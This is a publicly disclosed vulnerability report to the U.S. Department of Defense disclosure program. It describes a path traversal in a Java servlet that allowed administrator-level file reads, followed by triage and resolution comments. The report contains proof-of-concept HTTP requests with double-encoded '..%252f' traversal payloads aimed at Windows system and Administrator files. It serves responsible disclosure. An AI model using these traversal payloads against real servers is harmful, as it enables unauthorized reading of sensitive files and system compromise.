9

[Critical] Full local fylesystem access (LFI/LFD) as admin via Path Traversal in the misconfigured Java servlet on the https://[redacted]/

Share:

State	○ Resolved (Closed)
Disclosed	**October 4, 2019 8:48pm +0530**
Reported To	**U.S. Dept Of Defense**
Weakness	Path Traversal
Severity	High (7 ~ 8.9)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

sp1d3rs submitted a report to U.S. Dept Of Defense. Feb 19th (8 months ago)

Description

Hello. I discovered a Path Traversal issue on the https://[redacted]/
I was able to turn it to the local file read, and after series of the test determined that it's possible to reach sensitive system files with administrator rights.

POC

The next request will read the `c:/windows/System32/drivers/etc/hosts` as POC:

```
GET /gwtmain//..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%2
Host: [redacted]
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```

[redacted]
In browser (Chrome):

```
https://[redacted]/gwtmain//..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252
```

Testing if we have admin rights:

```
GET /gwtmain//..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%2
Host: [redacted]
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```

The system will return 200 ok and respond with content of `Users/Administrator/NTUser.dat` which should be accessible only from administrator account.

[redacted]

It proves the critical impact an possibility of the RCE, because we have high-privileged rights on the system.

Suggested fix

Secure the vulnerable servlet.

Impact

Remote attacker is able to read any file on the system partition, it can lead to the full compromise of the resource, in case attacker will reach sensitive files such as logs/credentials/registry tree.

BOT: U.S. Dept Of Defense posted a comment. Feb 19th (8 months ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

sp1d3rs posted a comment. Updated Sep 24th (17 days ago)

The vulnerable servlet is seems to be `GwtCssServlet` (used to serve static css files), but I'm not 100% sure.

P.S. IP used for tests (for tracking purposes): [redacted]

ag3nt-z3 updated the severity to High. Feb 19th (8 months ago)

ag3nt-z3 changed the status to ○ **Triaged**. Feb 19th (8 months ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

ag3nt-z3 closed the report and changed the status to ○ **Resolved**. Mar 7th (7 months ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

sp1d3rs requested to disclose this report. Jul 11th (3 months ago)

sp1d3rs posted a comment. Jul 11th (3 months ago)

If this will pass disclosure procedure, please hide my IP address from the report:) just in case.

ag3nt-j1 posted a comment. Jul 11th (3 months ago)

So first thing you want us to do is send your IP out on twitter? :P

Then disclose?

sp1d3rs posted a comment. Jul 11th (3 months ago)

1 attachment:

F527051: 1021115715-800x384.jpg

ag3nt-j1 agreed to disclose this report. Oct 4th (7 days ago)

This report has been disclosed. Oct 4th (7 days ago)

U.S. Dept Of Defense has locked this report. Oct 4th (7 days ago)